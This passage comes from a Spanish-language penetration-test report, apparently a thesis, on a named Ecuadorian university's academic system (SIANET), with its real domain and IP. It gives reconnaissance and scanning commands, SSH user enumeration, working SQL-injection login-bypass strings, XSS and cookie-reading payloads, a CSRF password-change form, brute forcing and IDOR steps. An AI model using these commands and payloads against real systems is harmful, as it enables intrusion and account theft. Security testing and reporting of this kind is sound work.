a la aplicación, en la siguiente ruta se encontró información de currículos de 

docentes. 

https://www.sianet.ueb.edu.ec/escalafon/linkInvitadoCurriculum.php 

 

Figura 16. Currículos de docentes generados en formato pdf. (Elaborado por el autor) 

 

2.1.3. Búsquedas con Shodan 

Shodan 

Es un motor de búsqueda diseñado para buscar dispositivos conectados a Internet, 

utiliza escáneres distribuidos en todo el mundo para seleccionar al azar las 

direcciones IP de destino e identificar puertos TCP y UDP disponibles.  

Con shodan fue posible encontrar los puertos (22) SSH, (443) HTTPS, (5432) 

PostgreSQL y (8008) http-simple-new, simplemente especificando la dirección IP 

del sianet, además de proporcionar la ubicación geográfica del servidor. 

 

Figura 17. Puertos abiertos identificados con shodan. (Elaborado por el autor) 
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Figura 18. Servicio ssh identificado con shodan. (Elaborado por el autor) 

 

 

Figura 19. Servicio https identificado con shodan. (Elaborado por el autor) 

 

 

Figura 20. Servicio postgresql identificado con shodan. (Elaborado por el autor) 

 

 

Figura 21. Servicio http-simple-new identificado con shodan. (Elaborado por el autor) 

 

2.1.4. Email Harvesting 

The harvester 

Es una forma efectiva de encontrar correos electrónicos, y posiblemente nombres 

de usuarios, que pertenecen a una organización. Esta información es útil para 

realizar ataques del lado del cliente, esta herramienta puede buscar direcciones de 

correo electrónico en Google, Bing y otros. 
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Mediante la siguiente instrucción dirigida al dominio del sianet, se recolectó correos 

electrónicos y nombres de host con su respectiva resolución. 

theharvester -d sianet.ueb.edu.ec -l 500 -b google 

 

Figura 22. Correos electrónicos y subdominios descubiertos con theharvester. (Elaborado por el 

autor) 

 

Obtenido los correos electrónicos, es momento de usar pipl.com, es uno de los 

motores de búsqueda de personas más grande para tratar de encontrar información 

relevante. 

A través de esta búsqueda solo se pudo identificar para webmaster@ueb.edu.ec, el 

nombre y una fotografía que lo identifica, al parecer tiene una cuenta en Gravatar, 

es un servicio gratuito para propietarios de sitios, desarrolladores y usuarios, obtener 

este tipo de información podría ser muy útil para realizar ataques de ingeniería 

social, enfatizando el hecho de que los humanos son el eslabón más débil.

 

Figura 23. Información del usuario obtenida con pipl. (Elaborado por el autor) 
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2.1.5. Búsqueda de metadatos 

Exiftool 

Es una aplicación de línea de comandos para leer, escribir y editar metainformación 

en una amplia variedad de archivos. 

Para realizar esta prueba primero se descargó un archivo de texto público, 

perteneciente a la institución, luego se emitió el comando exiftool, seguido el 

nombre del fichero, las gráficas muestran como se pudo obtener información sobre 

el software utilizado, fecha de creación del archivo y correos electrónicos, 

información importante para llevar a cabo el plan de explotación. 

exiftool archivo.doc 

 

Figura 24. Resultados obtenidos de exiftool. (Elaborado por el autor) 

 

 

Figura 25. Resultados obtenidos de exiftool. (Elaborado por el autor) 

 

2.1.6. Fingerprint Web 

Netcraft 

Se utiliza para buscar información indirecta sobre los servidores web en internet, 
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incluido el sistema operativo subyacente, la versión del servidor web y el tiempo de 

actividad. 

En las siguientes capturas se detalla, la versión del servidor web apache, sistema 

operativo CentOS, tiempo de actividad del servidor. 

 

Figura 26. Resultados obtenidos de netcraft. (Elaborado por el autor) 

 

 

Figura 27. Resultados obtenidos de netcraft. (Elaborado por el autor) 

 

Whatweb 

Es una herramienta que cuenta con más de 900 complementos capaces de identificar 

la versión del servidor, tecnologías subyacentes y direcciones de correo electrónico. 

Las imágenes a continuación especifican, la versión del servidor web apache 2.4.6, 

sistema operativo CentOS, OpenSSL 1.0.2, PHP 7.0.32, información obtenida 

mediante la siguiente instrucción. 
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whatweb -a 3 –no-errors -v sianet.ueb.edu.ec 

 

Figura 28. Resultados obtenidos con whatweb. (Elaborado por el autor) 

 

 

Figura 29. Resultados obtenidos con whatweb. (Elaborado por el autor) 

 

 

Figura 30. Resultados obtenidos de whatweb. (Elaborado por el autor) 
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2.2. Escaneo y Enumeración 

En esta fase de descubren los servicios en un puerto, los sistemas operativos 

involucrados, los firewalls, los sistemas de detección de intrusos, los dispositivos 

perimetrales, identificar usuarios de servicios que forman parte de la organización 

objetivo. 

El proceso de escaneo y enumeración se realizó entre el 26 y 30 de noviembre de 

2018. 

2.2.1. Balanceadores de carga y WAF 

Lbd  

Balanceadores de carga son un método utilizado por las organizaciones para 

distribuir la carga en otros servidores. De esta manera, las aplicaciones funcionan 

de forma efectiva y mantienen el tiempo de actividad, aumentando su confiabilidad.  

lbd es capaz de detectar balanceadores de carga DNS y HTTP analizando los datos 

de respuesta de la aplicación, los resultados obtenidos con la herramienta, no 

identificó ningún balanceador de carga disponible, el comando utilizado fue: 

 

lbd sianet.ueb.edu.ec 

 

Figura 31. Balanceadores de carga no encontrados con la herramienta lbd. (Elaborado por el autor) 

 

Waffw00f 

Un firewall de aplicación web (WAF) es un dispositivo o una pieza de software que 

comprueba los paquetes enviados a un servidor web para identificar y bloquear 

aquellos que puedan ser maliciosos, generalmente estos son basados en firmas. 

wafw00f es una herramienta que automatiza un conjunto de procedimientos 

utilizados para encontrar un WAF. 
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La prueba realizada con wafw00f no detectó un WAF disponible, el comando que 

se utilizó fue: 

wafw00f -a 190.15.128.203 

 

Figura 32. Waf no detectado con la herramienta wafw00f. (Elaborado por el autor) 

 

Nmap 

La herramienta nmap, tiene la capacidad de detectar la existencia de un WAF 

utilizando el motor de scripting integrado, estos scripts envían algunos paquetes 

maliciosos básicos y compara las respuestas mientras busca un indicador de que un 

paquete se bloqueó, rechazó o detectó, los resultados obtenidos no especificaron de 

la existencia de determinado WAF, la instrucción utilizada para este propósito fue: 

nmap -p 80,443 --script=http-waf-detect --script=http-waf-fingerprint 

190.15.128.203 

 

Figura 33. Waf no detectado con la herramienta nmap. (Elaborado por el autor) 

 

2.2.2. Escaneo de puertos 

Nmap  

En este punto se intenta encontrar puertos abiertos y los servicios asociados a ellos 

en una red. La exploración de puertos es el proceso de descubrir puertos abiertos 

TCP y UDP en el host o red de destino. Los puertos abiertos revelan los servicios 

que se ejecutan en la red. 

Con la herramienta nmap, se descubrieron los puertos TCP 22, 80, 443, 5432 y 
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50000 habilitados, usando un escaneo rápido de todos los 65535 puertos existentes, 

la línea de comando era: 

nmap -T4 -p1-65535 -Pn 190.15.128.203 -oN portscan.txt 

 

Figura 34. Escaneo de puertos realizado con la herramienta nmap. (Elaborado por el autor) 

 

Masscan  

Este es un escáner de puertos, herramienta con la que se descubrieron los mismos 

puertos habilitados que con nmap, escaneo realizado para todos los 65535 puertos 

existentes, la instrucción utilizada fue: 

masscan -p1-65535 190.15.128.203 

 

Figura 35. Escaneo de puertos realizado con la herramienta masscan. (Elaborado por el autor) 

 

2.2.3. Banner Grabbing  

Nmap  

Se empleó nmap para descubrir la versión de los servicios de los puertos 22, 80, 

443, 5432 y 50000, utilizando la técnica de escaneo SYN y el motor de scripting de 

nmap para identificar la versión de los servicios, sistema operativo y el trazo de ruta, 

el comando utilizado fue: 
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nmap -A -sS -O2 -p22,80,443,5432,50000 190.15.128.203 -oN bannergrab.txt 

 

Figura 36. Resultado del escaneo realizado para descubrir la versión de los servicios con nmap. 

(Elaborado por el autor) 

 

 

Figura 37. Resultado del escaneo realizado para descubrir la versión de los servicios con nmap. 

(Elaborado por el autor) 

 

Del escaneo de servicios con nmap, se identificó en el puerto 22  OpenSSH 7.4, en 
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los puertos 80/443 se está ejecutando apache 2.4.6, esto debe ser confirmado con el 

navegador para comprobar mediante qué puerto está habilitado el acceso a la 

aplicación web, en el puerto 5432 se ejecuta una versión de PostgreSQL sin 

especificar, en el puerto 50000 está corriendo Webmin 1.900, sistema operativo 

CentOS e identificación del kernel posiblemente la versión 3.10. El trazo de ruta 

realizado detalla los puntos tomados por los paquetes desde el origen hasta el 

destino enumerando los enrutadores por los que atraviesa.  

 

Hallazgo 3 

Denegación de servicio en Apache 2.4.6 

En la siguiente gráfica se hace constancia de la existencia de una denegación de 

servicio en la versión actual de Apache, la misma que se ha identificado en la base 

de datos de vulnerabilidades conocidas. 

 

Figura 38. Denegación de servicio en apache 2.4.6 (Elaborado por el autor) 

 

2.2.4. Enumeración de usuarios SSH 

Metasploit Framework 

Se utilizó metasploit para enumerar posibles usuarios de acceso a SSH mediante el 

módulo ssh_enumusers, las instrucciones utilizadas para este propósito fueron: 

use auxiliary/scanner/ssh/ssh_enumusers 

set RHOSTS 190.15.128.203 

set USER_FILE 

/usr/share/wordlists/metasploit/default_users_for_services_unhash.txt 

run 
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Figura 39. Enumeración de usuarios ssh con metasploit. (Elaborado por el autor) 

 

 

Figura 40. Enumeración de usuarios ssh con metasploit. (Elaborado por el autor) 

 

2.2.5. Enumeración de métodos HTTP 

Nmap 

HTTP ofrece una serie de métodos que pueden utilizarse para realizar acciones en 

el servidor web. Muchos de estos están diseñados para ayudar a los desarrolladores 

a implementar y probar aplicaciones HTTP. 

El escaneo realizado con nmap, se descubrieron los métodos GET, HEAD, POST y 

OPTIONS, el script que se utilizó viene predefinido en la herramienta para descubrir 

los métodos habilitados en el servicio HTTP, el comando utilizado fue: 

nmap --script http-methods.nse 190.15.128.203 -p443 

 

Figura 41. Métodos HTTP descubiertos con la herramienta nmap. (Elaborado por el autor) 
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Hallazgo 4 

Método TRACE habilitado 

Con curl fue posible obtener los métodos HTTP disponibles, asignándole el verbo 

OPTIONS, este proporciona una lista de los métodos admitidos por el servidor web, 

en este caso se descubrió el método TRACE habilitado, se recomienda 

deshabilitarlo para evitar Cross Site Tracing (XST), el comando utilizado para este 

propósito fue: 

curl -s -k -X OPTIONS -I https://www.sianet.ueb.edu.ec/aade/i/ 

 

Figura 42. Métodos http descubiertos con curl. (Elaborado por el autor) 

 

2.2.6. Análisis SSL/TLS 

SSLscan 

SSL significa capa de conexión segura. Se utiliza para cifrar la comunicación. Dado 

que un atacante en la red local podría detectar fácilmente el tráfico, las 

comunicaciones más sensibles, como las páginas de inicio de sesión. 

SSLscan consulta servicios SSL/TLS, como HTTPS, para determinar los cifrados 

compatibles con el servidor, la instrucción utilizada para este propósito fue: 

sslscan sianet.ueb.edu.ec 

 

Figura 43. Consulta de los servicios SSL/TLS con sslscan. (Elaborado por el autor) 
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Figura 44. Consulta de los servicios SSL/TLS con sslscan. (Elaborado por el autor) 

 

Del escaneo realizado, se obtuvo el cifrado soportado por el servidor, el algoritmo 

de firma del certificado SHA-256 con cifrado RSA. 

 

SSLize 

Es una herramienta diseñada para analizar la configuración SSL de un servidor 

conectándose a él, la sintaxis utilizada fue: 

sslyze --regular sianet.ueb.edu.ec 

 

Figura 45. Resultados obtenidos de sslyze. (Elaborado por el autor) 

 

A diferencia de los resultados obtenidos con SSLscan, se logra identificar que el 

certificado SSL no es de confianza. 
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Hallazgo 5 

Certificado SSL no es de confianza 

Para corroborar el problema con el certificado SSL, en la siguiente captura se 

observa una alerta, detallando que el navegador no pudo validar el certificado 

proporcionado por la aplicación a la que pretende acceder, debido a que no posee 

un certificado que haya sido emitido por una autoridad de certificación, problema 

que permitiría a los atacantes realizar ataques de ingeniería social. 

 

Figura 46. Información obtenida al tratar de visitar con el navegador el dominio del sianet. 

(Elaborado por el autor) 

 

2.2.7. Enumerando contenido y funcionalidad 

Web spidering  

El spidering se realiza al solicitar una página web en busca de enlaces a otro 

contenido, solicita estos enlaces y continua de forma recursiva hasta que no se 

descubra ningún contenido nuevo. 

Para este propósito, primero hay que configurar el proxy web, para de esta manera 

monitorear y manipular el tráfico de ida y vuelta al servidor.  

En Firefox, esto es accesible seleccionando el menú Editar, clic en Preferencias, 

luego en configuración de red, posteriormente se abrirá una ventana y seleccionar 

Configuración manual de proxy, en los campos requeridos asignar la dirección de 

localhost y el puerto 8080 y finalmente clic en Aceptar, esta configuración es válida 

para Burp y Zap. 
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Figura 47. Configuración del proxy en el navegador firefox. (Elaborado por el autor) 

 

En esta ocasión se usó Burp para realizar el spidering, primero hay que establecer 

el alcance para rastrear solo al objetivo definido, simplemente dirigiéndose a Target 

en la pestaña Scope y en la función Target Scope incluir la URL a evaluar, como se 

muestra en la siguiente gráfica. 

 

Figura 48. Incluyendo en el alcance al objetivo a evaluar. (Elaborado por el autor) 

 

A continuación, hay que ubicarse en Target en la pestaña Site map, clic derecho 

sobre el objetivo para abrir el menú contextual y dar clic en Spider this host. 

Empezará a rastrear todas las páginas en busca de enlaces a un nuevo contenido, 

creando un mapa de la aplicación, incorporando todas las URL visitadas por el 

spider. 

En la imagen a continuación se observa el mapa del sitio donde reveló, cédulas de 

identidad de los usuarios, información útil para planear el acceso a la aplicación. 
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Figura 49. Resultados del spidering realizado con burp suite. (Elaborado por el autor) 

 

2.2.8. Enumerando directorios y archivos ocultos del dominio 

Dirbuster 

Es una herramienta que se utiliza para encontrar archivos y directorios web 

mediante fuerza bruta. 

Ubicados en la herramienta, se escribe el dominio con su respectivo puerto en la 

barra de direcciones Target URL, luego asignar la lista de directorios, en este caso 

se utilizó la que viene por defecto en la herramienta y dar clic en Start. 

 

Figura 50. Configuración del objetivo a evaluar con dirbuster. (Elaborado por el autor) 
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2.3. Análisis de vulnerabilidades 

Una vez que se haya recopilado toda la información disponible, a partir de este 

momento se puede definir el descubrimiento de agujeros de seguridad y desde este 

punto planificar los posibles vectores de ataque. 

El proceso de análisis de vulnerabilidades se realizó entre el 3 y 7 de diciembre de 

2018. 

2.3.1. Nessus 

Es un software comercial creado para detectar vulnerabilidades, ofrece una versión 

gratuita con muchas herramientas para ayudar a explorar y reforzar la red.  

Para realizar el escaneo con nessus, en la interfaz principal de la herramienta en la 

parte superior derecha dar clic en New Scan. 

 

Figura 51. Interfaz principal de nessus. (Elaborado por el autor) 

 

Este apartado proporciona una lista con los tipos de escaneo, en este caso se eligió 

Advanced Scan este método busca posibles agujeros, como puertos abiertos, 

software obsoleto con vulnerabilidades conocidas o contraseñas predeterminadas en 

los dispositivos. 

 

Figura 52. Lista de tipos de escaneos presente en nessus. (Elaborado por el autor) 

 

En este caso para no causar ningún problema en el objetivo se aplicó las políticas 

asignadas de forma predefinida en la herramienta, simplemente asignando el 

nombre del escaneo, una breve descripción y la dirección IP del objetivo, una vez 

terminado de configurar, en la parte inferior izquierda dar clic en Save. 
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Figura 53. Configuración del objetivo a evaluar con nessus. (Elaborado por el autor) 

 

Una vez que el proceso de escaneo se ha completado con éxito, las vulnerabilidades 

se muestran en diferentes niveles de riesgo, se han detectado cuatro vulnerabilidades 

de riesgo medio, dos de nivel bajo y 38 informativas. 

 

Figura 54. Nivel de riesgo de las vulnerabilidades encontradas con nessus. (Elaborado por el autor) 

 

 

Figura 55. Vulnerabilidades detectadas con nessus. (Elaborado por el autor) 
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Figura 56. Vulnerabilidades detectadas con nessus. (Elaborado por el autor) 

 

Entre las vulnerabilidades de nivel medio se encuentra, el método Trace habilitado, 

el certificado SSL al no ser de confianza constituye una debilidad, de nivel bajo 

detalla sobre el cifrado admitido por SSH y el resto son informativas es decir 

información recopilada de banners de los servicios. 

 

2.3.2. Zed Atack Proxy 

ZAP es una herramienta integrada para pruebas de penetración, permite encontrar 

vulnerabilidades en aplicaciones web, ofrece escaneos automáticos, así como un 

conjunto de herramientas que permiten encontrar vulnerabilidades manualmente. 

Escaneo Activo 

El escaneo activo intenta encontrar potenciales vulnerabilidades usando ataques 

conocidos contra objetivos seleccionados. 

Para este escaneo, hay que ubicarse sobre la URL objetivo que contenga los 

parámetros a evaluar, clic derecho para abrir el menú contextual, en la opción Atacar 

dar clic en Activar escaneo. 
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Figura 57. URL para evaluar mediante escaneo activo con ZAP. (Elaborado por el autor) 

 

Se abre una ventana como la que se muestra a continuación, en la parte inferior 

derecha dar clic en Iniciar escaneo, empezará a realizar una gran cantidad de 

peticiones en todos los parámetros de entrada. 

 

Figura 58. Interfaz de escaneo activo de la herramienta ZAP. (Elaborado por el autor) 

 

Este procedimiento se hace para todos los puntos a evaluar en la aplicación. Al 

seleccionar la pestaña Alertas, se observa las vulnerabilidades identificadas por cada 

nivel de riesgo. Si el banderín es rojo, significa que el riesgo es alto, si es naranja, 

el riesgo es de nivel medio, si es amarillo es bajo y los azules son informativos. 

En la siguiente imagen se puede observar dos vulnerabilidades de alto riesgo, dos 

de nivel medio, cinco de riesgo bajo, y ninguna informativa. 
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Figura 59. Lista de vulnerabilidades obtenidas con la herramienta ZAP. (Elaborado por el autor) 

 

Las alertas listadas, se deben verificar, para corroborar si existe la vulnerabilidad, 

es probable que la herramienta haya encontrado falsos positivos o parámetros en los 

que pasó por alto y no detectó nada. 

 

2.3.3. Fuzzing 

Es una técnica que consiste en enviar gran cantidad de datos malformados en los 

parámetros de entrada de la aplicación de manera automática, con la intención de 

provocar errores en la misma. Se pueden encontrar vulnerabilidades que no se 

encuentran en el escaneo automatizado. 

Se utilizó ZAP para realizar esta técnica, como ejemplo se tomó el parámetro 

nombre_usuario del formulario de inicio de sesión Matriculación, en primera 

instancia seleccionar el parámetro indicado, clic derecho y en el menú contextual 

seleccionar fuzz. 

 

 

 

Figura 60. Parámetro para realizar fuzzing con la herramienta ZAP. (Elaborado por el autor) 

 

Se abrirá una ventana para añadir las cargas útiles, en la parte superior derecha dar 

clic en Payloads. 
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Figura 61. Interfaz de configuración de fuzz con la herramienta ZAP. (Elaborado por el autor) 

 

Se abre una ventana para definir el archivo de fuzzers, se puede cargar un archivo 

personalizado, pero en este caso se eligió el archivo jbrofuzz predefinido en ZAP, 

en la parte inferior clic en Añadir. 

 

Figura 62. Archivo de fuzzers de la herramienta ZAP. (Elaborado por el autor) 
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Finalmente, en la parte inferior derecha seleccionar Start Fuzzer. 

 

Figura 63. Parámetro asignado con el archivo de fuzzers. (Elaborado por el autor) 

 

Proceso que empezará a realizar una serie de peticiones, analizando los resultados 

se observa un cambio en el tamaño de la respuesta por parte del servidor, indicativo 

que una de las cargas se procesó, en la sección Payloads se observa la carga utilizada 

que pudo haber omitido el proceso de autenticación mediante inyección SQL. 

 

Figura 64. Carga identificada para evadir la autenticación mediante inyección SQL. (Elaborado 

por el autor) 

 

2.3.4. Verificación de vulnerabilidades 

Hallazgo 6 

Inyección SQL 

La vulnerabilidad se produce debido a la falta de validación o filtrado de entrada. 

La entrada del atacante se hace parte de la consulta SQL, que permite hacer varias 

cosas, como la recuperación de datos, la lectura y escritura de archivos en el sistema. 

Evadiendo el mecanismo de autenticación 

Aquí el enfoque utilizado es verificar la inyección SQL para omitir el mecanismo 

de autenticación. 

En primera instancia verificar que el proxy esté funcionando correctamente, luego 
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dirigirse a ZAP y en la parte superior dar clic en Brake Point. 

 

Figura 65. Punto de quiebre establecido en la herramienta ZAP. (Elaborado por el autor) 

 

Este proceso fue realizado en el parámetro nombre_usuario de la página de inicio 

de sesión Matriculación, en el formulario llenar los campos y dar clic en Ingresar. 

 

Figura 66. Interfaz de inicio de sesión de matriculación. (Elaborado por el autor) 

 

Establecido el punto de quiebre, es posible modificar los parámetros enviados en la 

solicitud, el valor de nombre_usuario hay que reemplazarlo por x’ or 1=1 or ‘x’=’y 

para omitir la autenticación, esto es posible debido a que la afirmación es siempre 

cierta. Suponiendo que el parámetro es vulnerable, la autenticación será como el 

usuario del primer registro de la tabla, para enviar la petición dar clic en Play 

ubicado en la parte superior. 

 

Figura 67. Solicitud interceptada con la herramienta ZAP. (Elaborado por el autor) 
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La autenticación fue posible porque la entrada no se está filtrando o validando 

correctamente, los controles implementados en el Front-End no son de gran utilidad 

debido a que se pueden evadir con facilidad, se evitó mediante este mecanismo el 

inicio de sesión en todos los formularios de la aplicación. 

 

Figura 68. Autenticación exitosa mediante inyección SQL. (Elaborado por el autor) 

 

Inyección SQL en solicitudes GET 

Para esta demostración se utilizó el parámetro asignatura del menú Asignaturas 

Comunes del módulo Matriculación, la carga que se utilizó para este propósito fue: 

1' or 1=1-- 

 

Figura 69. Verificación de inyección SQL. (Elaborado por el autor) 
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La sentencia utilizada hace que la consulta sea verdadera y devuelva todos los 

registros, de tal manera se llega a la conclusión que el parámetro es vulnerable a 

inyección SQL, este procedimiento se realizó en cada parámetro de la aplicación, 

esta debilidad forma parte en casi la totalidad de la aplicación. 

 

Hallazgo 7 

Cross Site Scripting (XSS) 

Esta vulnerabilidad se produce cuando la entrada del usuario no se filtra o desinfecta 

correctamente antes de que se refleje nuevamente al usuario. Esto permite al 

atacante inyectar código malicioso, que luego se ejecuta en el contexto del 

navegador de la víctima. La vulnerabilidad de XSS se puede utilizar para llevar a 

cabo varios ataques, como robo de sesiones e incluso comprometer a los 

navegadores. 

Con fines demostrativos esta vulnerabilidad se verificó en el parámetro asignatura 

del menú Asignaturas Comunes del módulo Matriculación, el código utilizado fue: 

 

"><script>alert(1);</script> 

 

Figura 70. Verificación de Cross Site Scripting reflejado. (Elaborado por el autor) 

 

Esta es una de las formas de corroborar esta clase de debilidades, existen varios 

tipos de cargas para esto, procedimiento que se llevó a cabo en todos los parámetros 

de la aplicación para evitar falsos positivos y de esta manera hacer constancia de las 

debilidades encontradas. 
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Hallazgo 8 

Cookie no HttpOnly Flag 

Al no establecer la directiva HttpOnly Flag, es posible acceder mediante código 

JavaScript a las cookies de sesión con la propiedad “document.cookie", como se 

muestra a continuación: 

"><script>alert(document.cookie);</script> 

 

Figura 71. Verificación de Cookie no HttpOnly Flag. (Elaborado por el autor) 

 

Esta vulnerabilidad en conjunto con Cross Site Scripting, mediante alguna técnica 

de ingeniería social sería posible realizar robo de sesiones y suplantar la identidad 

de un usuario legítimo. 

 

Hallazgo 9 

Fuerza bruta en formularios 

Los ataques de fuerza bruta consisten en probar diferentes combinaciones de 

nombres de usuario y contraseñas hasta encontrar una que funciona. A menudo se 

llevan a cabo cuando no se aplica una política de bloqueo de cuenta. 

En este punto se utilizó el formulario de inicio de sesión de Cargar Fotos del módulo 

Matriculación. La herramienta utilizada para este propósito fue Burp Suite, en 

primera instancia verificar que el proxy web este configurado correctamente, en el 

formulario de inicio de sesión llenar los campos con el usuario correcto y en la 

contraseña asignarle cualquier valor y clic en enviar. 
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Figura 72. Interfaz de inicio de sesión de cargar fotos. (Elaborado por el autor) 

 

Dirigirse a Burp Suite, capturada la solicitud clic derecho para abrir el menú 

contextual y dar clic en Sed to intruder. 

 

Figura 73. Solicitud interceptada con burp suite. (Elaborado por el autor) 

 

En la pestaña Positions del Intruder, seleccionar el parámetro contraseña usando el 

botón agregar ubicado a la derecha del editor de solicitudes y en el tipo de ataque 

elegir Sniper, como se muestra en la imagen. 
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Figura 74. Interfaz de la función intruder de burp suite. (Elaborado por el autor) 

 

En la pestaña Payloads, en la sección Payloads Sets asegurarse de que Payload set 

sea 1 y Payload type este configurado Simple list. 

En la configuración de Payload Options, agregar la lista de palabras con las 

contraseñas más comunes. Esto se puede hacer manualmente o utilizando una lista 

personalizada o preestablecida y finalmente dar clic en start attack. 

 

Figura 75. Carga de lista de palabras en burp suite. (Elaborado por el autor) 

 

En la ventana Intruder attack, se observa en la solicitud 24 que la longitud de 

respuesta es diferente y analizando el código en la parte inferior detalla un mensaje 

de “Bienvenidos”, esto indica que fue posible el inicio de sesión para ese usuario. 
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Figura 76. Contraseña encontrada mediante fuerza bruta. (Elaborado por el autor) 

 

Para confirmar el ataque de fuerza bruta con la contraseña encontrada hay que 

dirigirse en la página de inicio de sesión e ingresar las credenciales 

correspondientes. 

 

Figura 77. Interfaz de inicio de sesión de cargar fotos. (Elaborado por el autor) 

 

De esta manera se confirmó el inicio de sesión para este usuario, es evidente que 

usan contraseñas débiles, esto es debido al mecanismo de cambio de contraseña 

ineficiente. 
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Figura 78. Inicio de sesión exitoso mediante fuerza bruta. (Elaborado por el autor) 

 

Este tipo de ataque es posible en todos los formularios de autenticación de la 

aplicación. 

 

Hallazgo 10 

Referencia de objeto directo 

Una referencia de objeto directo ocurre cuando un desarrollador expone una 

referencia a un objeto de implementación interna, como un archivo, directorio, 

registro de base de datos o clave, como una URL o parámetro de formulario. Un 

atacante puede manipular las referencias directas de objetos para acceder a otros 

objetos sin autorización, a menos que haya una verificación de control de acceso. 

La funcionalidad de autenticación o autorización de la aplicación no impide que un 

usuario obtenga acceso a los datos o registros de otro usuario modificando el valor 

clave que identifica los datos. 

Esta falla fue descubierta en el menú Nóminas Estudiantiles del módulo 

Matriculación, en primera instancia hay que ubicarse en la URL a evaluar, clic 

derecho para abrir el menú contextual y dar clic en Fuzz. 

 

Figura 79. Selección de la URL para evaluar con la herramienta ZAP. (Elaborado por el autor) 

 

Se abrirá la ventana del Fuzz, el próximo punto es seleccionar el parámetro a evaluar 

y dar clic en Add, ubicado en la parte superior derecha. 
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Figura 80. Ventana de configuración de fuzz en la herramienta ZAP. (Elaborado por el autor) 

 

Se abrirá una nueva ventana, en la sección Contents, asignar un determinado rango 

de números y dar clic en Añadir. 

 

Figura 81. Valores asignados para evaluar el parámetro determinado. (Elaborado por el autor) 

 

Una vez asignado los valores numéricos, se abrirá la ventana del Fuzz con el 

parámetro determinado y finalmente dar clic en Start Fuzzer, empezará a realizar 
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peticiones al servidor con los valores asignados. 

 

Figura 82. Parámetro designado a evaluar referencia de objetos directos con ZAP. (Elaborado por 

el autor) 

 

Al analizar los resultados, se observa en la segunda petición realizada un cambio en 

el tamaño de la respuesta, esto indica que posiblemente haya devuelto resultados 

distintos. 

 

Figura 83. Resultado de referencia de objetos directos con la herramienta ZAP. (Elaborado por el 

autor) 

 

Para corroborar este hallazgo hay que dirigirse a la dirección URL que se probó y 

cambiar el número 1 por el 2, como se muestra en las siguientes gráficas. 
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Figura 84. Dirección URL con el parámetro sin modificar. (Elaborado por el autor) 

 

 

Figura 85. Dirección URL con el parámetro modificado. (Elaborado por el autor) 

 

Con estos resultados se comprobó que se puede acceder a la página de perfil de otro 

usuario, este problema se debe a una inconsistencia en el control de acceso. 

Hallazgo 11 

Cross Site Request Forgery 

La falsificación de solicitudes entre sitios (CSRF), es un ataque que obliga a un 

usuario final a ejecutar acciones no deseadas en una aplicación web en la que esta 

autenticado actualmente. 

Las vulnerabilidades de CSRF pueden surgir cuando las aplicaciones se basan 

únicamente en cookies HTTP para identificar al usuario que ha emitido una solicitud 

en particular. Debido a que los navegadores agregan automáticamente cookies a las 

solicitudes, independientemente del origen de la solicitud, es posible que un 
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atacante cree un sitio web malicioso que falsifique una solicitud de varios dominios 

a la aplicación vulnerable. 

Para demostrar esta vulnerabilidad hay que autenticarse primero como un usuario 

legítimo, se tomó la funcionalidad de cambio de contraseña, simplemente con copiar 

la parte del formulario, añadir en el atributo action la dirección URL asignada para 

el cambio de credenciales y en los atributos value escribir la nueva contraseña que 

en este caso es "hacked" y guardarlo con la extensión html, la siguiente imagen 

contiene el código con los cambios realizados. 

 

Figura 86. Formulario de cambio de contraseña para demostrar CSRF. (Elaborado por el autor) 

 

Tan pronto la víctima de clic en el botón Actualizar se cambiará la contraseña de 

inicio de sesión 

 

Figura 87. Ataque mediante Cross Site Request Forgery. (Elaborado por el autor) 

 

Para cerciorarse que se efectuó el cambio de contraseña correctamente, hay que 

iniciar sesión en la aplicación con la nueva contraseña. 
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Figura 88. Interfaz de inicio de sesión docente. (Elaborado por el autor) 

 

El inicio de sesión ha sido exitoso lo que se comprueba que la aplicación es 

vulnerable a CSRF. 

 

Figura 89.Inicio de sesión exitoso con la nueva contraseña. (Elaborado por el autor) 

 

Este procedimiento se puede realizar con cualquier usuario a obligarle a realizar 

diversas actividades no solo un simple cambio de contraseña.  

 

Hallazgo 12 

Pruebas de Fijación de Sesión 

Cuando una aplicación no renueva sus cookies de sesión después de una 

autenticación exitosa, podría ser posible encontrar una vulnerabilidad de fijación de 

sesión y forzar a un usuario a utilizar una cookie conocida por el atacante. En ese 
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caso, un atacante podría robar la sesión del usuario (secuestro de sesión). 

El primer paso es hacer una solicitud al sitio a ser probado, en este caso se hizo la 

petición a: 

sianet.ueb.edu.ec/sme/login_foto.php 

 

Figura 90. Identificador de sesión obtenido antes de la autenticación. (Elaborado por el autor) 

 

La aplicación fija el identificador de sesión 

PHPSESSID=671et4e5ag8ch2km72987gbks1. 

A continuación, se autentica con éxito a la aplicación 

 

Figura 91. Identificador de sesión obtenido después de la autenticación. (Elaborado por el autor) 

 

Se observa que la cookie no ha sido renovada tras la autenticación, se sabe que es 

posible realizar un secuestro de sesión al enviar un identificador de sesión válido a 

un usuario mediante ingeniería social. 

 

Hallazgo 13 

Exploración de directorios 

Ver el contenido de directorios web puede llevar a la revelación de copias de 

seguridad, información de configuraciones, etc. En la siguiente gráfica se observa 
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un listado de números de cédula. 

 

Figura 92. Listado de directorios. (Elaborado por el autor) 

 

2.4. Explotación 

Este paso explota las vulnerabilidades encontradas y comprobar qué información o 

acceso es posible obtener. 

El proceso de explotación se realizó entre el 10 y 12 de diciembre del 2018. 

 

2.4.1. Inyección SQL Basada en Uniones 

Detección de inyección SQL 

Todos los puntos identificados vulnerables a inyecciones SQL son explotables 

proceso que puede realizarse mediante diferentes técnicas. El método utilizado para 

explotar fue mediante la cláusula UNION, para este propósito he seleccionado el 

menú Reporte de Usuarios del módulo Financiero. 
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Figura 93. Menú reporte de usuarios del módulo financiero. (Elaborado por el autor) 

 

Se observa que se está imprimiendo en la interfaz la consulta SQL emitida para 

devolver los registros de la fecha de pago, este tipo de información no debe ser 

revelada en ninguna parte, porque esto da a conocer a un atacante la estructura de 

la sentencia.  

El primer punto es verificar si el proxy está configurado correctamente, dirigirse a 

la pestaña Proxy y corroborar que este habilitado la intercepción, en el menú 

desplegable de la aplicación, seleccionar cualquier ítem disponible, habrá capturado 

la petición como se muestra en la imagen a continuación, lo siguiente es dar clic 

derecho para abrir el menú contextual y seleccionar Send to Repeater 

 

Figura 94. Solicitud interceptada por burp suite. (Elaborado por el autor) 

 

Una vez en la pestaña Repeater, dirigirse a Params, clic en go para tener una "linea 

base" de la respuesta del servidor. 
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Figura 95. Función repeater de burp suite. (Elaborado por el autor) 

 

Uno de los métodos para verificar si es posible la inyección SQL, es añadir una 

comilla simple en uno de los parámetros de entrada, esto hará que se rompa la 

